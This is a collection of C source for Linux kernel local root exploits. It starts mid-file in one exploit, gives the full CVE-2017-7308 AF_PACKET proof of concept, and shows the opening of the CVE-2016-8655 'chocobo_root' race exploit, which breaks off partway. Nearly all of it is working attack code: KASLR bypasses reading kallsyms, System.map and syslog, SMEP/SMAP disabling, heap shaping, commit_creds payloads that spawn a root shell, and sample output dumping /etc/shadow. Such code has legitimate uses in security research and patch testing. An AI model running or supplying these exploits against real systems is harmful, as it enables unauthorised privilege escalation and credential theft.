'\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { return 0; } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } unsigned long get_kernel_addr_syslog() { unsigned long addr = 0; char* syslog; int size; dprintf("[.] trying syslog...\n"); if (!mmap_syslog(&syslog, &size)) return 0; if (strcmp("trusty", kernels[kernel].distro) == 0) addr = get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0) addr = get_kernel_addr_xenial(syslog, size); if (!addr) dprintf("[-] kernel base not found in syslog\n"); return addr; } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_sysmap() { FILE *f; unsigned long addr = 0; char path[512] = "/boot/System.map-"; char version[32]; struct utsname u; u = get_kernel_version(); strcat(path, u.release); dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } char dummy; char sname[256]; char* name = "startup_64"; int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_mincore() { unsigned char buf[getpagesize()/sizeof(unsigned char)]; unsigned long iterations = 20000000; unsigned long addr = 0; dprintf("[.] trying mincore info leak...\n"); /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { dprintf("[-] mmap()\n"); return 0; } int i; for (i = 0; i <= iterations; i++) { /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) { dprintf("[-] mincore()\n"); return 0; } int n; for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space */ if (addr > 0xffffffff00000000) { addr &= 0xffffffffff000000ul; if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); return addr; } } } if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); dprintf("[-] kernel base not found in mincore info leak\n"); return 0; } // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; addr = get_kernel_addr_kallsyms(); if (addr) return addr; addr = get_kernel_addr_sysmap(); if (addr) return addr; addr = get_kernel_addr_syslog(); if (addr) return addr; addr = get_kernel_addr_mincore(); if (addr) return addr; dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { dprintf("[!] unprivileged user namespaces are not available\n"); dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { dprintf("[-] write_file(/proc/self/set_groups)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { dprintf("[-] write_file(/proc/self/uid_map)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { dprintf("[-] write_file(/proc/self/gid_map)\n"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { dprintf("[-] sched_setaffinity()\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo mtu 1500") != 0) { dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { dprintf("[-] system(/sbin/ifconfig lo up)\n"); exit(EXIT_FAILURE); } } void exec_shell() { int fd; fd = open("/proc/1/ns/net", O_RDONLY); if (fd == -1) { dprintf("error opening /proc/1/ns/net\n"); exit(EXIT_FAILURE); } if (setns(fd, CLONE_NEWNET) == -1) { dprintf("error calling setns\n"); exit(EXIT_FAILURE); } system(SHELL); } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { dprintf("[.] checking if we got root\n"); if (!is_root()) { dprintf("[-] something went wrong =(\n"); return; } dprintf("[+] got r00t ^_^\n"); exec_shell(); } int main(int argc, char** argv) { if (argc > 1) SHELL = argv[1]; dprintf("[.] starting\n"); dprintf("[.] checking kernel version\n"); detect_kernel(); dprintf("[~] done, version looks good\n"); dprintf("[.] checking SMEP and SMAP\n"); check_smep_smap(); dprintf("[~] done, looks good\n"); dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE); #endif dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); unsigned long payload = (unsigned long)&get_root; #if ENABLE_SMEP_BYPASS dprintf("[.] SMEP bypass enabled, mmapping fake stack\n"); mmap_stack(); payload = XCHG_EAX_ESP_RET; dprintf("[~] done, fake stack mmapped\n"); #endif dprintf("[.] executing payload %lx\n", payload); oob_execute(payload); dprintf("[~] done, should be root now\n"); check_root(); return 0; }
  4. // A proof-of-concept local root exploit for CVE-2017-7308. // Includes a SMEP & SMAP bypass. // Tested on Ubuntu / Linux Mint: // - 4.8.0-34-generic // - 4.8.0-36-generic // - 4.8.0-39-generic // - 4.8.0-41-generic // - 4.8.0-42-generic // - 4.8.0-44-generic // - 4.8.0-45-generic // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] system has 2 processors // [.] checking kernel version // [.] kernel version '4.8.0-41-generic' detected // [~] done, version looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [.] done, kernel text: ffffffff87000000 // [.] commit_creds: ffffffff870a5cf0 // [.] prepare_kernel_cred: ffffffff870a60e0 // [.] native_write_cr4: ffffffff87064210 // [.] padding heap // [.] done, heap is padded // [.] SMEP & SMAP bypass enabled, turning them off // [.] done, SMEP & SMAP should be off now // [.] executing get root payload 0x401516 // [.] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // ... // // Andrey Konovalov <[email protected]> // --- // Updated by <[email protected]> // - support for systems with SMEP but no SMAP // - check number of CPU cores // - additional kernel targets // - additional KASLR bypasses // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308 #define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <sys/ioctl.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/sysinfo.h> #include <sys/types.h> #include <sys/utsname.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <linux/ip.h> #include <linux/udp.h> #include <netinet/if_ether.h> #include <net/if.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_SMAP_BYPASS 1 char *SHELL = "/bin/bash"; // Will be overwritten if ENABLE_KASLR_BYPASS unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; struct kernel_info { const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t native_write_cr4; }; struct kernel_info kernels[] = { { "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 }, { "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 }, { "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 }, { "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) #define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4) // Will be overwritten if ENABLE_SMEP_SMAP_BYPASS unsigned long CR4_DESIRED_VALUE = 0x406e0ul; #define KMALLOC_PAD 512 #define PAGEALLOC_PAD 1024 // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * typedef uint32_t u32; // $ pahole -C hlist_node ./vmlinux struct hlist_node { struct hlist_node * next; /* 0 8 */ struct hlist_node * * pprev; /* 8 8 */ }; // $ pahole -C timer_list ./vmlinux struct timer_list { struct hlist_node entry; /* 0 16 */ long unsigned int expires; /* 16 8 */ void (*function)(long unsigned int); /* 24 8 */ long unsigned int data; /* 32 8 */ u32 flags; /* 40 4 */ int start_pid; /* 44 4 */ void * start_site; /* 48 8 */ char start_comm[16]; /* 56 16 */ }; // packet_sock->rx_ring->prb_bdqc->retire_blk_timer #define TIMER_OFFSET 896 // pakcet_sock->xmit #define XMIT_OFFSET 1304 // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { dprintf("[-] setsockopt(PACKET_VERSION)\n"); exit(EXIT_FAILURE); } struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { dprintf("[-] setsockopt(PACKET_RX_RING)\n"); exit(EXIT_FAILURE); } } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { dprintf("[-] socket(AF_PACKET)\n"); exit(EXIT_FAILURE); } packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { dprintf("[-] bind(AF_PACKET)\n"); exit(EXIT_FAILURE); } return s; } void packet_socket_send(int s, char *buffer, int size) { struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_halen = ETH_ALEN; if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { dprintf("[-] sendto(SOCK_RAW)\n"); exit(EXIT_FAILURE); } } void loopback_send(char *buffer, int size) { int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { dprintf("[-] socket(SOCK_RAW)\n"); exit(EXIT_FAILURE); } packet_socket_send(s, buffer, size); } int packet_sock_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { dprintf("[-] socket(SOCK_DGRAM)\n"); exit(EXIT_FAILURE); } return s; } void packet_sock_timer_schedule(int s, int timeout) { packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); } void packet_sock_id_match_trigger(int s) { char buffer[16]; packet_socket_send(s, &buffer[0], sizeof(buffer)); } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) #define V3_ALIGNMENT (8) #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) #define ETH_HDR_LEN sizeof(struct ethhdr) #define IP_HDR_LEN sizeof(struct iphdr) #define UDP_HDR_LEN sizeof(struct udphdr) #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) int oob_setup(int offset) { unsigned int maclen = ETH_HDR_LEN; unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen)); unsigned int macoff = netoff - maclen; unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset; return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); } void oob_write(char *buffer, int size) { loopback_send(buffer, size); } void oob_timer_execute(void *func, unsigned long arg) { oob_setup(2048 + TIMER_OFFSET - 8); int i; for (i = 0; i < 32; i++) { int timer = packet_sock_kmalloc(); packet_sock_timer_schedule(timer, 1000); } char buffer[2048]; memset(&buffer[0], 0, sizeof(buffer)); struct timer_list *timer = (struct timer_list *)&buffer[8]; timer->function = func; timer->data = arg; timer->flags = 1; oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); sleep(1); } void oob_id_match_execute(void *func) { int s = oob_setup(2048 + XMIT_OFFSET - 64); int ps[32]; int i; for (i = 0; i < 32; i++) ps[i] = packet_sock_kmalloc(); char buffer[2048]; memset(&buffer[0], 0, 2048); void **xmit = (void **)&buffer[64]; *xmit = func; oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); for (i = 0; i < 32; i++) packet_sock_id_match_trigger(ps[i]); } // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * void kmalloc_pad(int count) { int i; for (i = 0; i < count; i++) packet_sock_kmalloc(); } void pagealloc_pad(int count) { packet_socket_setup(0x8000, 2048, count, 0, 100); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); void get_root_payload(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) ); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } void get_kernel_version(char* output, int max_length) { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname())\n"); exit(EXIT_FAILURE); } assert(strlen(u.release) <= max_length); strcpy(&output[0], u.release); } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define KERNEL_VERSION_LENGTH 32 void detect_versions() { char version[KERNEL_VERSION_LENGTH]; get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&version[0], kernels[i].version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } dprintf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); #if !ENABLE_SMEP_SMAP_BYPASS if (rv >= 1) { dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n"); exit(EXIT_FAILURE); } #endif switch(rv) { case 1: // SMEP CR4_DESIRED_VALUE = 0x406e0ul; break; case 2: // SMAP CR4_DESIRED_VALUE = 0x407f0ul; break; case 3: // SMEP and SMAP CR4_DESIRED_VALUE = 0x407f0ul; break; } } // * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 unsigned long get_kernel_addr_syslog() { dprintf("[.] trying syslog...\n"); int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); exit(EXIT_FAILURE); } size = (size / getpagesize() + 1) * getpagesize(); char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); if (size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); exit(EXIT_FAILURE); } const char *needle1 = "Freeing SMP"; char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { dprintf("[-] substring '%s' not found in dmesg\n", needle1); exit(EXIT_FAILURE); } for (size = 0; substr[size] != '\n'; size++); const char *needle2 = "ffff"; substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); if (substr == NULL) { dprintf("[-] substring '%s' not found in dmesg\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_sysmap() { FILE *f; unsigned long addr = 0; char path[512] = "/boot/System.map-"; char version[32]; get_kernel_version(&version[0], 32); strcat(path, &version[0]); dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } char dummy; char sname[256]; char* name = "startup_64"; int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; addr = get_kernel_addr_kallsyms(); if (addr) return addr; addr = get_kernel_addr_sysmap(); if (addr) return addr; addr = get_kernel_addr_syslog(); if (addr) return addr; dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void check_procs() { int min_procs = 2; int nprocs = 0; nprocs = get_nprocs_conf(); if (nprocs < min_procs) { dprintf("[-] system has less than %d processor cores\n", min_procs); exit(EXIT_FAILURE); } dprintf("[.] system has %d processors\n", nprocs); } void exec_shell() { int fd; fd = open("/proc/1/ns/net", O_RDONLY); if (fd == -1) { dprintf("error opening /proc/1/ns/net\n"); exit(EXIT_FAILURE); } if (setns(fd, CLONE_NEWNET) == -1) { dprintf("error calling setns\n"); exit(EXIT_FAILURE); } system(SHELL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { dprintf("[-] fork()\n"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { dprintf("[.] checking if we got root\n"); if (!is_root()) { dprintf("[-] something went wrong =(\n"); return; } dprintf("[+] got r00t ^_^\n"); // Fork and exec instead of just doing the exec to avoid potential // memory corruptions when closing packet sockets. fork_shell(); } bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { dprintf("[-] write_file(/proc/self/set_groups)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ dprintf("[-] write_file(/proc/self/uid_map)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { dprintf("[-] write_file(/proc/self/gid_map)\n"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { dprintf("[-] sched_setaffinity()\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { dprintf("[-] system(/sbin/ifconfig lo up)\n"); exit(EXIT_FAILURE); } } int main(int argc, char *argv[]) { if (argc > 1) SHELL = argv[1]; dprintf("[.] starting\n"); check_procs(); dprintf("[.] checking kernel version\n"); detect_versions(); dprintf("[~] done, version looks good\n"); dprintf("[.] checking SMEP and SMAP\n"); check_smep_smap(); dprintf("[~] done, looks good\n"); dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE); #endif dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); #if ENABLE_SMEP_SMAP_BYPASS dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4); #endif dprintf("[.] padding heap\n"); kmalloc_pad(KMALLOC_PAD); pagealloc_pad(PAGEALLOC_PAD); dprintf("[.] done, heap is padded\n"); #if ENABLE_SMEP_SMAP_BYPASS dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n"); oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); dprintf("[.] done, SMEP & SMAP should be off now\n"); #endif dprintf("[.] executing get root payload %p\n", &get_root_payload); oob_id_match_execute((void *)&get_root_payload); dprintf("[.] done, should be root now\n"); check_root(); while (1) sleep(1000); return 0; }
  5. /* chocobo_root.c linux AF_PACKET race condition exploit for CVE-2016-8655. Includes KASLR and SMEP/SMAP bypasses. For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74. All kernel offsets have been tested on Ubuntu / Linux Mint. vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable.. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered! stage 1 completed registering new sysctl.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added! stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee 11/2016 by rebel --- Updated by <[email protected]> - check number of CPU cores - KASLR bypasses - additional kernel targets https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655 */ #define _GNU_SOURCE #include <fcntl.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/sysinfo.h> #include <sys/utsname.h> #include <sys/wait.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <netinet/if_ether.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_KASLR_BYPASS 1 // Will be overwritten if ENABLE_KASLR_BYPASS unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions() int kernel = -1; // New sysctl path const char *SYSCTL_NAME = "hack"; const char 